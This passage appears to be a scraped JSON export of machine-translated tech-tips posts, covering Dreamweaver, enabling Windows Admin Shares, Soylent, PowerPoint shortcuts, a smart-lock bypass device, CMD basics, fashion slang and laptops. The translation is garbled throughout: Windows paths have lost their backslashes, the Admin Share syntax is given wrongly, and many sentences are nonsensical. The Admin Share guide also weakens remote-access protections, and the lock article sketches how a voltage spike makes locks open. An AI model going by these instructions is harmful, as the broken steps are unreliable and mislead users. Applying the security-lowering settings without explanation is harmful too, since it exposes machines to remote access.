paragraph.\n  Step 10 . Save index.html.\nThis way you will enter text much faster than typing directly into Live View . Dreamweaver remembers the settings in the Paste Special dialog box, so next time you can paste directly into Live View with the usual keyboard shortcuts Ctrl + V (Windows) and Cmd + V (Mac). Before pasting into Live View, make sure you select the element that appears immediately before the new content.\nIf you look closely at HTML in Code View , you'll notice some instances of. The text in the Word document uses clever quotes that Dreamweaver has converted into HTML character entities for a correct citation.\nUse the Quick Property Inspector to format text elements If you don't have Microsoft Word or Word Viewer, you'll need to copy and paste the text content from a rich text format file and then format the titles as all text will be formatted as paragraphs. .\nStep 1 . In the Files tab, expand the content folder and right-click on index.rtf . Select Open With\u0026gt; Browse from the context menu and select the appropriate text editor, such as TextEdit.\nThis file contains the same content as in index.docx, but adds a blank line after each paragraph and title to Dreamweaver formatting text exactly like paragraphs.\nStep 2 . Select all text from the beginning of the file and include the copyright notice line. Copy selected text to the clipboard.\nStep 3 . Go back to Dreamweaver and make sure the list is unordered in Live View .\nStep 4 . Select Edit\u0026gt; Paste Special or use the shortcut Ctrl + Shift + V (Windows) or Cmd + Shift + V (Mac) to open the Paste Special dialog box. You can see in the picture below, the last two options and the second checkbox are disabled because you didn't paste the content from Microsoft Word.\n  Select the Text with structure option (paragraphs, lists, tables, etc.) and uncheck the Retain line breaks , then click Ok to Dreamweaver paste all text formatted as paragraphs.\nStep 5 . When pasting from a rich text format, Dreamweaver doesn't recognize the title. So, click anywhere in the paragraph \"Riding the Cable Cars\" .\nStep 6. Click on the three horizontal lines icon on the left of Element Display to display the Quick Property Inspector and select h2 from the drop-down menu to turn the paragraph into a second level title.\n  Step 7. Repeat the previous step with the Cable Car Tips heading.\nStep 8 . Select the copyright notice at the bottom of the page to determine that it has been formatted as a paragraph. If necessary, adjust the format as described in Step 9 of the previous section.\nCopying and pasting text content from a text file of a fairly simple nature. Important points to remember are:\nThere should be two blank lines between each paragraph or title. Copy blank lines after the last paragraph. Always use Edit\u0026gt; Paste Special or Ctrl + Shift + V (Windows) or Cmd + Shift + V (Mac) and uncheck the Retain line breaks . Although Dreamweaver remembers your settings, but using Ctrl + V or Cmd + V to paste from rich text format, additional line breaks will be added to HTML. Access Quick Property Inspector by clicking on the three-bar icon on the Element Display to convert the paragraph into an HTML title. Now, the Bayside Beat home page has full text content, but it looks very boring. If the page loads in the browser, the paragraphs will extend the full width of the view. You can control that with CSS, but you also need to add other HTML structure elements to divide the page into logical groups for styling and that will be guided in Part 3 of this series.\nSee previous section: How to create a website using Dreamweaver CC part 1\nncG1vNJzZmismaXArq3KnmWcp51ktq%2B%2F06usnKyZpLu0ecWoqWabopqutbXNoGSaZaear7S1055ksKGknXqlvsSapLCdkauys3nCnGSpmaKpenN5wJ2boqaXYq6vsIyfpqulkanBqrrGZquesKQ%3D\n","link":"/post/instructions-for-creating-a-website-with-dreamweaver-cc/","section":"post","tags":null,"title":"Instructions for creating a website with Dreamweaver CC"},{"body":"In some cases, users need to enable Admin Shares on the local hard drive. Admin Shares is the default share account of all hard drives (C $, D $, .) on Windows computers. By default, Admin Shares are hidden and cannot be accessed on the network.\nOn Windows Vista and newer Windows versions prevent Local accounts from accessing Admin Shares through the network. And if you try to connect from another computer on the system to Admin Shares, you will get an error message 'Logon unsuccessful: Windows is unable to log you on. Make sure your user name and password are correct '.\n  1. How to enable Admin Share by default on Windows 10/8/7? Note:\nTo access Admin Share, make sure that the Host and Guest computers must be in the same Workgroup or Domain (both must be the same Workgroup name or Domain name). To find this information, open Windows Explorer, then right-click the Computer icon, select Properties to view (or change) the Workgroup name.\n- Host computer: The computer has enabled Admin share.\n- Guest computer: computers on the network will connect to Admin share on the host computer (host computer).\nStep 1: Activate the Admin account and set up a password If you want to access Admin share on the computer (Host - server), you must first activate the Admin account, then set a password for the Admin account on the computer. To do this, follow the steps below:\n1. Press the Windows + R key combination to open the Run command window.\n2. On the Run command window, type lusrmgr.msc there and press Enter.\n  3. Next open Users.\n  \n4. Right-click Administrator , select Properties.\n  \n5. Remove the Account is disabled item then click OK.\n  \n6. Next, right-click the Administrator account again and choose Set Password .\n  7. Set a password for the Admin account and then click OK.\nStep 2: Activate File and Print sharing on Windows Firewall The next step is to enable File and Print Sharing via Windows Firewall (at the server).\n1. Press the Windows + R key combination to open the Run command window.\n2. Enter the control panel in the Run window and press Enter to open the Control Panel.\n  3. On the Control Panel window, click System and Security .\n  4. Select Allow an app through Windows Firewall.\n  \n5. Click Change Settings .\n  6. Uncheck the check box, then check File and Printer Sharing again, then click OK.\n  \nStep 3: Add the value LocalAccountTokenFilterPolicy to the Registry 1. Press the Windows + R key combination to open the Run command window.\n2. Enter regedit there then press Enter or click OK to open the Registry Editor.\n  3. In the Registry Editor window, navigate to the key:\nHKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionPoliciesSystem\n4. Right-click the System key, select New =\u0026gt; DWORD (32-bit) value .\n  5. Name the new value LocalAccountTokenFilterPolicy and press Enter.\n  6. Double-click LocalAccountTokenFilterPolicy and set the value in the Value Data frame to 1.\n  7. Close the Registry Editor window.\n8. Restart your computer.\n9. After your computer has finished booting, you can now access the Admin share disk on the host computer from any computer on the system (Guest) by entering the Run command window or frame. Search for the name (or IP address) of the server and the drive name you want to access by adding the icon \u0026amp; after the drive name.\nFor example, if you want to access the \"C:\" drive on your \"ComputerA\" computer, enter the Run command prompt:\nComputerAC $\n  Refer to some of the following articles: Free memory space after updating Windows 10 Anniversary How to completely hide a folder with a single command on Windows How to disable Lock Screen lock screen on Windows 10 Anniversary Update Good luck!\nncG1vNJzZmismaXArq3KnmWcp51ktq%2B%2F06usnKyZpLu0edOoZJ6mkZe5pnnAnaSipl2otaK%2BxGamp2Wnnrulu9asZGpoaGw%3D\n","link":"/post/instructions-to-enable-admin-share-on-windows-10-8-7/","section":"post","tags":null,"title":"Instructions to enable Admin Share on Windows 10/8/7"},{"body":" Super beautiful photos of everyday food are viewed through a microscope 7 daily routines can ruin your health 4 simple ways to open the lid of food cans when there is no opener Soylent's start-up food replacement project has a \" bold \" decision in 2016.\nIn an effort to follow the mainstream, Soylent has launched new products such as \" Coffiest \" - a flavorful version of coffee, caffeine and nutrients, along with \" Soylent Bar \" - real The first solid product is for people who remember hard foods.\nBut Soylent also has to solve the problem from a number of products that make consumers sick. Finally, Soylent had to temporarily stop selling some items.\n Soylent founder - Rob Rhinehart.Photo source: Josh Edelson / Getty Images\nIn 2017, Soylent seems to have a good start, just needing a $ 50 million B round of funding by Google Ventures. Thus, the total budget will reach 74.5 million USD.\nAlthough more than the amount of money - new funding, but insisted that Soylent supporters still believe in its development vision in the future. The co-founder and CEO of Soylent - Rob Rhinehart , is probably like many other founders in the technology world, living dreams with Soylent.\nThe co-founder Rob Rhinehart revealed, he came up with the idea of ​​a premium milk powder for everyone because he felt frustrated with the amount of time spent on preparing and eating regular meals. Soylent milk powder was originally born only to serve its own needs, but then Rhinehart marketed it online and currently has the first 30,000 customers. Rob Rhinehart believes that this Coffiest product is not only a substitute for breakfast, but also includes a drink that helps people to feel excited.\n  Before officially launching a food- substituting beverage product, Rob Rhinehart used his own body to test the recipe. Rob Rhinehart has changed doses and different types of nutrients, sometimes hurting himself in the process. Rhinehart is confident in stealing food to make something acceptable, easy to use and sustainable. And Rhinehart also has a clear vision of the future of food.\nWe have assembled Rob Rhinehart's 31 \"extremely different\" conceptions that show a clear and future view of food in the world today . If you are a supporter of his project, you will probably find it to be inspirational and sensible. Otherwise, you will see it as something \" weird \". Invite you to read!\nNaturally: \" People have the belief that only the things of nature are good. The natural state of man is ignorant, hungry and cold. \"\n Photo source: REUTERS / Russell Cheyne\nAt grocery stores: \" I have not set foot in grocery stores for many years. I am sure that I will never feel embarrassed when I have to go between stalls like a scout donkey. eat, while the smell of rotting flesh irritates the nose, fluorescent lights in my eyes and songs about my love of torturing my ears \".\n Photo source: Justin Sullivan / Getty\nAbout food: \" Everyone likes, 'Natural and organic methods are the best.' And that sounds like Christian fundamentalism. \"\n Photo source: Williams Sonoma\nAbout fast food: \" After a week [Soylent company] the ads for fast food seem annoying. All I want is Soylent .\"\n Photo source: McDonald's\nAbout information: \" Knowing as much information, as possible. I think that all values ​​in some points come from asymmetric information (information asymmetry) .\"\n Photo source: Thomson Reuters\nAbout movies: \" Eating for me is like an entertainment activity, like going to a movie, but I don't want to go to the movies three times a day .\"\n Photo source: Getty Images\nAbout unmanned aircraft: \" We think of carrying out Soylent delivery work by unmanned aircraft. You just need to press the location button on the phone, then an airplane will arrive and Drop a bottle of Soylent, give you more fuel. \"\n Photo source: Matt Weinberger\nAbout the role: \" Food is eating us .\"\n A little girl eating her own buffet at a fast food restaurant in Harlem, New York.Photo source: Thomson Reuters\nRegarding agriculture: \" Ingredients from agriculture, especially animal products, are often wasteful and ineffective. \"\n Photo source: REUTERS / Eric Thayer\nAbout balance: \" I think it is possible to use healthy food processing technology in a cheap and easy way, but we have to give up many traditional foods like fresh fruits and vegetables, which are incompatible. with the scale and the processing of food in this way \".\n Photo source: Whole Foods\nAbout the body's needs: \" You need amino acids and fats, not milk. You need carbohydrates, not bread. \"\n Photo source: Thomson Reuters\nAbout pizza: \" I think in the future, all of our main pizzas and meals will have a special diet thanks to Soylent and its own flavor, texture and form. \"\n Photo source: Pizza Hut\nIn my first Soylent tests, Rob Rhinehart said: \" I feel like Six Million Dollar Man. My body is markedly improved, skin is smoother, teeth are fine. whiter, thicker hair and no dandruff anymore. \"\n Photo source: Soylent\nAbout value: \" [Soylent] provides more value to my life than any application. \"\n Photo source: Lisa Eadicicco\nAbout juice: \" This is an ancient type, look at the design. It is bold, natural and comfortable . In fact, it is very bad for you .\"\n Photo source: Kathleen Elkins\nBack to the country: \" I think the best technology is water disappears. Because water doesn't have much taste and taste, it's the most popular beverage in the world. \"\n Photo source: Thomson Reuters\nAbout fossil fuels: \" Food is a fossil fuel source of human energy, this is a huge market full of waste, regulations and bias distribution with serious geopolitical implications. And we depend too much on it. \"\n Photo source: Wendy / Flickr\nAbout fear: \" One of my fears is that someone will refuse to participate in social eating to work and drink Soylent's products \".\n Photo source: Justina Mintz / AMC\nAbout resentment: \" In my life, I don't like time, money and effort, shopping, preparation, consumption and cleaning up the consumed food .\"\n Photo source: REUTERS / Elijah Nouvelage\nAbout Soylent's taste: \" It's delicious! I feel like I've eaten the best breakfast in my life. It tastes like a sweet, delicious meal, a sumptuous meal packed in one glass, that's what I thought of. Immediately I felt full, energized to start my day . \"\n Photo source: Soylent\nAbout the supermarket Whole Foods: \" I once dreamed of shopping at Whole Foods one day, but now it has nothing to do with me. \"\n Photo source: Mallory Schlossberg / Business Insider\nRegarding cooking by recipe: \" I cannot forget the recipes of a housewife when I go to the kitchen. Providing rich, delicious and nutritious meals for the whole family is tiring. If you don't cook a meal, does the whole family have to eat expensive pizza or unhealthy dishes? \"\n Photo source: Flickr / Rainer Stropek\nAbout the body: \"The more ' Hacking body' is, the higher the reward will be .\"\n Photo source: Josh Edelson / Getty Images\nAbout salad: \" When I was 6 or 7 years old, I guess my mother was eating salad. I looked down at the plate with the leaves on it, I looked out and saw like the leaves on the tree, that It looks a bit strange. It's a bit rude - like how animals usually do . \"\n Photo source: Melia Robinson / Business Insider\nAbout art: \" I am aiming for all of us not to worry about poverty or nutrition, where people create food just because it is as beautiful as a garden or painting. Food can only be art \".\n Photo source: Wikimedia Commons\nAbout the tree: \" On the principle of visualization, these trees are not with us, not evolving to feed us. If they can kill us, they will probably do it. That is competition. \"\n Photo source: Thomson Reuters\nAbout Ferraris: \" Ferraris are wasting! \"\n Photo source: Julie Zeveloff / Business Insider\nWhere Rhinehart bought food: \" I bought my main food online as a civilized person .\"\n Photo source: Shutterstock\nAbout algae: \" I also think it's great because some ingredients are made from algae, not farms that spray pesticides. \"\n Photo source: Shutterstock\nAccording to the idea of ​​people who are too busy to cook: \" There is no time to cook because you are working for your career or your passion to be praised .\"\n Photo source: Fodors / Courtesy of Hawaii Tourism Japan\nFor those who don't like Soylent: \" I don't understand the troubles surrounding Soylent. Perhaps some people confuse the taste problem with moral problems. Some people who have a habit of cooking and eating seem to feel I'm offended when I have a different opinion. I don't think it's unreasonable to want to eat according to my own terms . \"\n Samsung Galaxy Note 5. Photo source: Matt Weinberger\nSee also: Why should a coin be left in the refrigerator before leaving the house?\nHaving fun!\nncG1vNJzZmismaXArq3KnmWcp51ktq%2FCxKyroqaXYoJxecyio6Whn6N6tbuMnKmemaSaeqJ5zZ6uZp6fp7puu8VmnainlGLBqbXSZpuiqpWYwbC%2BjKGYrGWVrcGzscyeo7JllJ6zp7HRnqWtZZ6kwaq7zaw%3D\n","link":"/post/investing-50-million-to-create-a-new-form-of-food-this-director-has-extremely-different-notions/","section":"post","tags":null,"title":"Investing $ 50 million to create a new form of food, this director has extremely different notions"},{"body":"The software or program supports shortcuts with the aim of enabling users to operate faster, in addition to using the mouse and clicking the commands as usual. With the Microsoft Office suite, network administrators have introduced you to shortcuts used in Word document editing and shortcut keys when processing Excel spreadsheets.\nIn this article, we continue to provide you with more shortcuts to use on PowerPoint presentations. With this number of shortcuts, we can access commands or processes faster, save working time and still achieve work efficiency.\nSummary of useful shortcuts in PowerPoint 1. General PowerPoint program shortcuts 2. PowerPoint shortcut used in editing Select and navigate text, objects and slides Format and edit  3. Shortcut when PowerPoint presentation   1. General PowerPoint program shortcuts First, let's look at some common shortcuts to open, close and switch between presentations, as well as navigate the Ribbon.\nShortcuts\nUses\nCtrl + N\nCreate a new presentation\nCtrl + O\nOpen an existing presentation\nCtrl + S\nSave the presentation\nF12 or Alt + F2\nOpen the Save As dialog box\nCtrl + W or Ctrl + F4\nClose the presentation\nCtrl + Q\nSave and close the presentation\nCtrl + Z\nUndo an operation\nCtrl + Y\nRedo one operation\nCtrl + F2\nPrint preview\nF1\nOpen the Help pane\nAlt + Q\nGo to the ' Tell me what you want to do ' box\nF7\nSpell check\nAlt or F10\nTurn on or turn off shortcuts for tabs on the Ribbon\nCtrl + F1\nShow or hide the Ribbon\nCtrl + F\nSearch in the presentation or use Find and Replace\nAlt + F\nOpen the File tab menu\nAlt + H\nGo to the Home tab\nAlt + N\nOpen the Insert tab\nAlt + G\nOpen the Design tab\nAlt + K\nGo to Transitions tab\nAlt + A\nGo to the Animations tab\nAlt + S\nGo to Slide Show tab\nAlt + R\nGo to the Review tab\nAlt + W\nGo to the View tab\nAlt + X\nGo to the Add-ins tab\nAlt + Y\nGo to the Help tab\nCtrl + Tab\nSwitch between open presentations\nCtrl + P\nIn Slide (Print)\n2. PowerPoint shortcut used in editing Select and navigate text, objects and slides You can use keyboard shortcuts to navigate presentations easily. The following shortcuts help you quickly and easily select text boxes, objects on slides or slides on a presentation.\nShortcuts\nUses\nCtrl + A\nSelect all text in a text box, all objects on a slide or all slides in the presentation\nTab\nSelect and move to the next object in a slide\nHome or hold down both left and right mouse buttons for two seconds\nGo to the first slide or in the text box, go to the beginning of the line.\nEnd\nGo to the last slide, or in the text box go to the end of the line\nPgDn, use the Space key, the N key, the right arrow key, the down arrow key, the Enter key or the mouse click\nGo to the next slide\nPgUp, use the Back Space key, the P key, the up arrow key, the left arrow key\nSwitch back to the previous slide\nCtrl + Up arrow / down arrow\nMove a slide up or down in the presentation (Click on the first slide thumbnail)\nCtrl + Shift + Up arrow / down arrow\nMove a slide to the top or bottom of the presentation (Click on the first slide thumbnail)\nA or = key\nHide or show the cursor\nH key\nGo to the hidden slide\nEnter the serial number then press Enter\nTo return to the page with that number\nFormat and edit The following shortcuts will save you time to edit and format quickly.\nCtrl + X\nCut selected text, object or slide\nCtrl + C or Ctrl + Insert\nCopy selected text, objects or slides\nCtrl + V or Shift + Insert\nPaste selected text, object or slide\nCtrl + Alt + V\nOpen the Paste Special dialog box\nDelete\nDelete selected text, object or slide\nCtrl + B\nHighlight or unselect the selected text\nCtrl + I\nItalics or omits italics of selected text\nCtrl + U\nUnderline or uncheck the selected text\nCtrl + E\nCenter one paragraph\nCtrl + J\nJustify a paragraph\nCtrl + L\nLeft one paragraph\nCtrl + R\nRight just one paragraph\nCtrl + T\nOpen the Font dialog box when selecting text or objects\nAlt + W, Q\nOpen the Zoom dialog to zoom in, zoom out the slide\nAlt + N, P\nInsert photos\nAlt + H, S, H\nInsert image\nAlt + H, L\nSelect slide layout\nCtrl + K\nInsert hyperlink\nCtrl + M\nInsert a new slide\nCtrl + D\nDuplicate the selected object or slide\nCtrl + Backspace\nDelete a word in front\nCtrl + Delete\nDelete a word at the back\nCtrl + Shift +\u0026gt;\nIncrease font size\nCtrl + Shift + \nReduce font size\n3. Shortcut when PowerPoint presentation When you are ready to start presenting the presentation, the following keyboard combos will be useful.\nShortcuts\nUses\nF5\nStart the presentation\nB or dot key (.)\nChange the screen to black during the slideshow, press B again to return to the slideshow\nW key or comma key (,)\nTo whiten the screen or return to the slideshow screen\nShift + F5\nStart slideshow from the current slide (this shortcut is useful when you want to check how the current slide runs in the presentation)\nCtrl + P\nNote with the Pen tool during the slideshow\nN or Page Down Go to the next slide while playing P or Page Up Back to the previous slide while playing Ecs or keys - End slide show Shift + F9 Turn on / off grid lines in slides S or + To turn on / off auto-show mode These are the shortcuts used in Powerpoint, during the process of editing the presentation content, and the slide show process. With these shortcuts, your execution steps will be much shorter than using the mouse. Please read the above article so you can use it every time you work with Powerpoint.\nRefer to the following articles:\nUseful key combinations in PowerPoint 5 tips for using professional PowerPoint Fix 6 common errors on PowerPoint slides Hope this article is useful to you!\nncG1vNJzZmismaXArq3KnmWcp51kwLa5zJqpsmWfm3q2v8SfrKVlo528s8DCrqusZZmjerG71p6pqaeZo8E%3D\n","link":"/post/summary-of-useful-shortcuts-in-powerpoint/","section":"post","tags":null,"title":"Summary of useful shortcuts in PowerPoint"},{"body":"This 'miracle' box is a homemade Chinese product, used by a woman named Wang to unlock 8 smart door brands equipped with fingerprint or NFC security technology on the spot. in super short time. This incident took place in May last year at the International Door Industry Expo in China.\nThe small box is black, there is only one button on the body and a copper coil looks like an old mosquito repellent incense (Tesla coil) attached to a corner.\n  The device has a simple design but can open many kinds of smart door locks.\nInformation about the 'miraculous' box that can be unlocked by smart within 3 seconds is spread quickly and many people are worried.\nAccording to technology experts, the mechanism of operation of the box is similar to creating artificial lightning. Inside the box containing the transformer has the effect of converting the low voltage of the battery into a high voltage. When the voltage is amplified and placed near other metal devices, it can form visible sparks in the air. The box was built to remove electrical sparks but still cause an abnormal voltage increase.\nSmart door locks have complex internal structures but are still affected by high voltage. When the voltage rises excessively, it will create an electric current that causes the circuit of the lock to be overloaded. Meanwhile, the smart lock will be cut off and restarted because these devices have short-circuit protection chip. Many smart locks now have a restart process that is by default opened.\nThis is how this 'magic' box does not need to be in direct contact and ignores all security mechanisms to open many kinds of smart locks in very short time.\n Many smart doors have a restart mode and open themselves when a short circuit occurs from the inside.\nJust a few days later, on the e-commerce sites in China, many smart door-breaking devices were sold with compelling advertisements that worried many people.\nBut according to experts, this security error is not difficult to solve. Manufacturers can create an electromagnetic shield to avoid interference from external energy sources by adding a metal cover to cover the entire electronic part of the lock. In addition, they can also use a module to stabilize voltage when designing circuits, but this will increase the cost of smart door locks.\nThis makes many people wonder whether smart lock and traditional mechanical lock, which is safer. There is practically no safe door lock and no key can open all kinds of locks. The 'magic' unlock box will not work with smart doors designed not to automatically open even if a short circuit occurs.\n  Concerned that this \"multi-purpose\" black box will become a tool for criminals, China's major e-commerce sites have blocked the sale of products related to the device.\nAdvice for consumers when buying smart door locks by experts:\nBe careful with cheap products. Because to reduce costs, merchants can \"cut\" a part of the product that users do not know. Integrate many ways to unlock on a device, besides fingerprints can use magnetic cards, passwords. Learn the internal structure as well as the security information from the manufacturer before deciding to buy smart door lock. See more:\nYou should be careful, this guy only needs a piece of paper and 30 seconds to unlock the hotel room door Instructions on how to make devices that turn on / off lights and fans in Vietnamese This guy installed 100 viruses in Windows 10 to understand the consequences of a virus infected computer ncG1vNJzZmismaXArq3KnmWcp51kwamxjKaYoKGTYq%2BwxIycmKdln6Wyr3nApaNmo5mjsbR5zp9krKWRp8FusM6oqWakn5i4tHnIp2RsZaOasLC6w6w%3D\n","link":"/post/the-magic-box-can-open-all-kinds-of-smart-door-locks-in-3-seconds/","section":"post","tags":null,"title":"The 'magic' box can open all kinds of smart door locks in 3 seconds"},{"body":"Command Prompt or we often call it with the familiar name CMD, this is a command line tool available on the Windows operating system, and it is also one of the most effective support tools on Windows.\nThe CMD tool appeared very early on the Windows operating system, it dates back to the days of MS-DOS and it is integrated on most versions of Windows operating systems today.\nTherefore, understanding and knowing how to flexibly use the command lines in CMD will be very useful for you in the process of using a computer, especially for those of you computer technicians, or those who want to create new applications. batch file to run automatically…\n1. How to Open the CMD Tool (Command Prompt) There are many ways to start the Command Prompt window. You can quickly search on the Windows Search bar (located on the Taskbar).\nIf you do not see this search box, you can press the Windows + S key combination =\u0026gt; then search with the keyword cmd.\n  Ok then, you select Command Prompt in the returned results box to start the CMD command line tool.\n  Or you can open the CMD window by pressing the Windows + R key combination to open the Run dialog box =\u0026gt; then enter the cmd =\u0026gt; command and press Enter to execute.   After starting the Command Prompt, the default interface of the CMD window will be as shown below, so you have successfully started the command dialog.\n  2. Run Command Prompt with Administrator rights Admin has a separate article to summarize a lot of ways to run CMD with Admin rights, full instructions on Windows operating systems (Windows 7, Windows 8.).\nYou can refer to this article for more ways: How to open CMD with Administrator rights (administrator rights) on Windows\nThere are commands that you must run CMD with Admin privileges to use. Therefore, opening a CMD command line window with Admin rights is something you must know.\nIf you are using Windows 10 operating system, you can quickly see the way below: You also search with the keyword cmd =\u0026gt; then click Run as administrator to finish.\n  Here is the cmd dialog with Admin rights:\n  Do you know how to distinguish between running Command Prompt with Admin rights and without Admin rights? Well, simply compare the features as follows:\n  (No Admin rights)\n  (And here is with Admin rights)\n3. Copy and Paste operations in CMD For Windows 10, if you want to copy a certain paragraph, you just need to highlight that paragraph =\u0026gt; and press Ctrl + C to copy as usual.\n  Next, if you want to Paste (paste) the command, just press Ctrl + V or right-click.\nNote: In older versions of Windows, using the Ctrl + C or Ctrl + V key combination does not work.\nTherefore, the way to copy in Command Prompt for older versions of Windows is, right-click the command window =\u0026gt; then click Mark to be able to highlight the content. (cannot Cut the text in this).\n  Then you press Enter to copy.\n  If you want to paste the text, right-click the command dialog =\u0026gt; then click Paste and you're done.\n  4. How to change background color, text color and font in CMD If you are bored with the default background color and font, you can change it quickly by right-clicking in the corner of the command window =\u0026gt; and selecting Properties.\n  Next, in the Properties dialog box, select the Font tab, now you can choose the font size and font.\n  If you want to change the background color or text color for CMD, then switch to the Colors tab. You click:\nScreen text to change the color of the text. Screen Background to change the background color of the command window. Opacity to change the transparency of the Command Prompt window. To see your edits, look in the Selected Screen Color box.   4. Share some commonly used commands in CMD 4.1. How to view computer information with the systeminfo . command The systeminfo command gives us quite a bit of information about the operating system and the computer.\nIt not only provides us with basic information about the OS, but also provides other information such as installed updates, BIOS version of the computer, OS installation time, etc.\n    The listed information is:\nHost Name: The computer name. OS Name: The OS name. OS Version: The OS version. OS Configuration: Configure the OS. OS Build Type: OS Build Type. Register Owner: The first account name created by the user after installing Win. Original Install Date: Time when Windows installs successfully. System Boot Time: The last time Windows was booted successfully. System Manufacturer: The manufacturer of the computer or laptop. System Model: Computer or Laptop model code. System Type: The 32 or 64bit version you are using. Processor(s): Information and number of CPUs attached to the computer or laptop. BIOS Version: The BIOS version of your computer or laptop. Windows Directory: The path to the WINDOWS directory on your OS, usually C:WINDOWS. System Directory: The path to the System32 folder on your OS, usually C:WINDOWSSystem32. Boot Device: Boot partition path. System Locale: System locale. Input Locale: Input language (written). Time Zone: The time zone of your computer or laptop. Total Physical Memory: Total amount of RAM of the computer. Available Physical Memory: The amount of RAM remaining (Only counted when running this command). Virtual Memory: Max Size: Total capacity of virtual RAM. Virtual Memory: Available: The amount of virtual RAM remaining. Virtual Memory: In Use: The amount of virtual RAM in use. Page File Location: The path to the Page file. Domain: The domain name of the computer. Logon Server: The name of the computer in use. Hotfix(s): Name and number of installed Win updates. Network Card(s): Installed network adapters. Hyper-V Requirements: Conditions for running Hyper-V (virtualization). 4.2. Commands to navigate location in Command Prompt The cd command helps us point the Command Prompt to any directory on the hard drive to execute or list the files and folders in it.\nBy default, when running cmd with normal User rights, the default path will be: C:Users'Username'. For example, my account name is Admin, the path will be: C: UsersAdmin.\n  If running as Administrator, the path will be: C: WINDOWSSystem32.\n  How to use the cd command in CMD is as follows:\ncd 'path-to-directory-in-drive'\nFor example, now I want to point CMD to the New Folder folder on the Desktop, I will use the following command:\ncd C:Users~~~~~~DesktopNew Folder\n  The important thing is that you get the path to the location you want to point to, it's very simple, you can do as shown below.\n  Bonus: You can point to a folder in a subfolder without writing the entire path if you already point to the parent folder.\nFor example: I am in the Desktop folder, then I can point to the New Folder folder on the Desktop by using the command cd New Folder.\n  Note: Using the cd command to point to a directory only applies within the same hard drive partition. For example, if you are in drive C and you want to point to the directory of drive D, you cannot use the cd command to point directly.\nBut to point to another hard drive partition, you must switch CMD to that partition location first, for example, I will enter the command D: =\u0026gt; and press Enter. So okay.\n  5. Conclusion OK, so I have finished showing you how to use the CMD command line window in a very basic way. These are the basic knowledge that you need to master if you want to learn more advanced things.\u0026nbsp;\nCommand Prompt CMD ncG1vNJzZmismaXArq3KnmWcp51kwamxjKamrKxdmLyuvMueq55lkaOxbrHArLBmr5GuerW7jK6qnmWTorFur86mpJqmlGK9s7vMqas%3D\n","link":"/post/the-most-complete-and-easy-way-to-use-cmd-command-prompt/","section":"post","tags":null,"title":"The most complete and easy way to use CMD (Command Prompt)"},{"body":"In life, sometimes we will find people who dress very nicely and trendy at the moment, we will have to say, 'oh he is cool or he looks cool .'.\nSo \"cool\" means what, how to dress cool cool trend trend today. If you love this style, do not ignore the following article of Network Administrator offline.\nWhat is cool cool?   Cool cool is a slang of Vietnamese youth often used from social networks to daily life. Cool cool means this person has a beautiful fashion style and great personality.\nA person who wants to be called cool must include elements such as intelligence, a handsome face, strong, uninterested in external factors, attracting people around when appearing especially girls.\nLike other slang words of young, cool people often go along with other slang words to complement the sentence as well as increase the tone of the communication sentences such as cool, cool, cool, cool fire .\nCool cool is the word dedicated to the boys who are cold and hard to reach. Just that much will make the girls fall in without having to saw.\nWhy is cool cool so attractive?   Often, people are very curious about something new, if you are different in the same people, make sure you are the brightest. Cool cool style so that many people choose, both simple and effective. So why don't you try it?\nA guy appeared in the crowd but with a cool, quiet look, people around him especially curious about this morning 'star'.\nIf you intend to conquer a certain girl, you can apply this method, surely the chance to 'saw' her will be very high.\nHow to create this style?   After listening to the theory, are you ready to apply it to practice? Not everyone can successfully apply cool cool style for the first time. So, to help readers easily apply this style, today we will introduce you a few tips for you to do.\nIn order to have a cool and cool style, you must have a basic knowledge of fashion, know which styles are following the trend and understand which styles are suitable for your body, which is the key to help you build. Be stylish for yourself.\nA leather jacket incorporating a pair of Jeans pants, indispensable for a pair of high-necked boots with cold, charismatic charisma ensures that any girl can't stand it.\nOr there is another option for you to wear a plain colored T-shirt, go along with an oversized shirt, a torn jean with a pair of light white sports shoes that will bring quite a surprising effect.\n  Besides, you can also use a lightweight jean jacket that doesn't reduce that attraction.\nWhen you have a standard style of marshal, a neat, suitable hairstyle for your face will be the final highlight to perfect your cool cool style. Currently trend hair has forehead cover, turn the direction is very popular. If you don't like it, you can choose either a strong personality under cut or a little sticky hair that creates incredible appeal.\nncG1vNJzZmismaXArq3KnmWcp51kxKmt02agrGWTpLytecKopqVlnprEbrLArJ%2Bip55iwLXFy54%3D\n","link":"/post/what-is-cool-cool-new-fashion-style/","section":"post","tags":null,"title":"What is 'cool cool'? New fashion style"},{"body":"Laptops with 17-inch screens or more are usually equipped with higher-speed processors, powerful graphics cards, many features and useful connectors. The following 5 models of 5 different manufacturers all have their own strengths and weaknesses, but collectively, these are the most appreciated desktop replacement laptop models today. 1. Acer Aspire 8920G (2.5 GHz Core 2 Duo T9300 CPU, 3 GB RAM, 18.4 inch screen)\n    Acer Aspire 8920G has an 18.4-inch screen, built-in Blu-ray drive. Photo: PCmag .\nThe strength of the Acer Aspire 8920G lies in the visibility of the screen, with an aspect ratio of 16: 9. Along with the unique design, the touch-key system for controlling multimedia entertainment features and Acer Empowerment software is very supportive for users.\nHowever, the handset's grip is made of plastic so it is not impressive, the touchpad is not very sensitive, the sound management system is inconvenient and only equipped with a single digital TV receiver The weaknesses of the Aspire 8920G. In short, although not a wise choice for those who are constantly on the move, the Acer Aspire 8920G is a top-notch entertainment machine, with a 16: 9 screen, Blu-ray drive. , high quality audio system and integrated digital television receiver. 2. Dell Studio 1735 (2.5 GHz Core Duo T9300, 2 GB RAM, 17.1 inch screen)\n   Studio 1735 is Dell's low-cost entertainment laptop line. Photo: Computershopper .\nCompared to the XPS M1730 heavy-duty gaming laptop, the Dell Studio 1735 is much lighter and more beautiful, while still being equipped with advanced entertainment features and powerful graphics processing capabilities.\nIt is equipped with HDMI connector, mini remote control, large keyboard with full number keys and full-HD resolution screen (optional). In addition, Dell also provided Studio 1735 with a fingerprint recognition sensor with a touch-sensitive key system, but no S / PDIF digital audio output port, no integrated subwoofer, transceiver receiver. image and eSATA port. In short, the Dell Studio 1735 is an ideal desktop replacement laptop for entertainment enthusiasts who have a tight budget. Not only that, it also offers many upgrade options for those with deep pockets. 3. HP Pavilion dv7 (Core 2 Duo P8400 CPU 2.26 GHz, 4 GB RAM, 17.1 inch screen)\n   HP Pavilion dv7 has a unique design. Photo: Cnet .\nHP Pavilion dv7 impresses thanks to its unique new style Pavilion design and frameless screen. The device is built on Intel's latest Centrino 2 platform, so it runs multimedia applications very well. In addition, the HP Pavilion dv7 is equipped with a touchpad on / off button, dedicated keys for managing multimedia features, two headphone jacks and HDMI and eSATA 